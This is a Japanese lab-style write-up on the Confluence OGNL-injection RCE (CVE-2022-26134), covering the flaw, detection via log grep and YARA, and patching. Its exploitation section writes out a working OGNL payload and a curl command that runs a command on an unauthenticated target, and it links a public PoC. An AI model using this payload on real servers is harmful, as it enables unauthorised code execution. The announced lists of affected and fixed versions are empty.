
Confluence の OGNL インジェクションによる事前認証リモートコード実行(CVE-2022-26134)
2022年5月30日、Volexityという組織が、AtlassianのConfluence ServerおよびData Centerエディションに、認証なしのRCE脆弱性(NISTで9.8点)を確認しました(https://www.atlassian.com/software/confluence)。
Confluenceは、チーム向けの共同ドキュメント作成・プロジェクト管理フレームワークです。Confluenceは、メンバーに一元化されたワークスペースを提供することで、プロジェクトのステータス追跡を支援します。
このCVEの影響を受けるConfluenceのバージョンは次のとおりです:
CVE-2022-26134のNISTエントリはこちらで確認できます(https://nvd.nist.gov/vuln/detail/CVE-2022-26134)。
このCVEは、Java用のOGNL(Object-Graph Navigation Language)式言語内の脆弱性を利用しています。OGNLは、Javaオブジェクトのプロパティを取得・設定するために使用され、その他にも多くの用途があります。
たとえば、OGNLはテキストボックスなどのフロントエンド要素をバックエンドオブジェクトにバインドするために使用され、ConfluenceなどのJavaベースのWebアプリケーションで使用できます。以下のスクリーンショットで、OGNLがどのように使用されているかを確認できます。値はWebフォームに入力され、これらの値はアプリケーション内のオブジェクトに格納されます。
悪用
OGNLが変更可能であるという事実を悪用できます。エクスプロイトをテスト・確認するためのペイロードを作成できます。
OGNL内のこの脆弱性を悪用するには、HTTP GETリクエストを作成し、URI内にペイロードを配置する必要があります。たとえば、Javaランタイムに、サーバー上でファイルを作成するなどのコマンドを実行するよう指示できます: "${@java.lang.Runtime@getRuntime().exec("touch /tmp/thm/")}/"。
これはURLエンコードする必要があります。このウェブサイトを使用すると、ペイロードをURLエンコードできます(curlペイロードの末尾は$2Fではなく「/」で終わる必要があることに注意してください)。 コマンド: user@host~ curl -v http://<target_ip>:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/thm%22%29%7D/ 次に、「ls /tmp」コマンドを実行して、上記のコマンドが正常に実行されたことを確認します。
動作するPoCエクスプロイトはいくつか存在しますが、ここではSamy Younsi(Mwqda)氏が作成し、Pythonで書かれてGitHubで公開されているPoCを紹介します(https://github.com/h3v0x/CVE-2022-26134)。
検出
ログファイル ConfluenceはApache Tomcatサーバーであり、ログは/opt/atlassian/confluence/logsに配置されています。grepなどのコマンドを使用して、Javaランタイムを使用してコマンドを実行するペイロードのHTTP GETリクエストを検索できます。例:
grep -R "/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22" in catalina.out
YARA Confluenceを実行しているサーバーにYaraがインストールされている場合、Volexity(この脆弱性の発見者)が作成したYaraルールを利用できます。このルールは、このリポジトリおよび次のリンクで提供されています(https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar)。
パッチ適用 Atlassianは、このCVEの影響を受ける製品向けのアドバイザリを公開しており、こちらで読むことができます(https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html)。この問題を解決するには、Confluenceのバージョンをアップグレードする必要があります。公開時点での推奨リストは以下のとおりです:
覚えておいてください。OGNLはJavaベースのWebアプリケーション向けの式言語であるため、この脆弱性はConfluenceが使用するのと同じクラスを実行する他のWebアプリケーションにも影響します!
参考資料: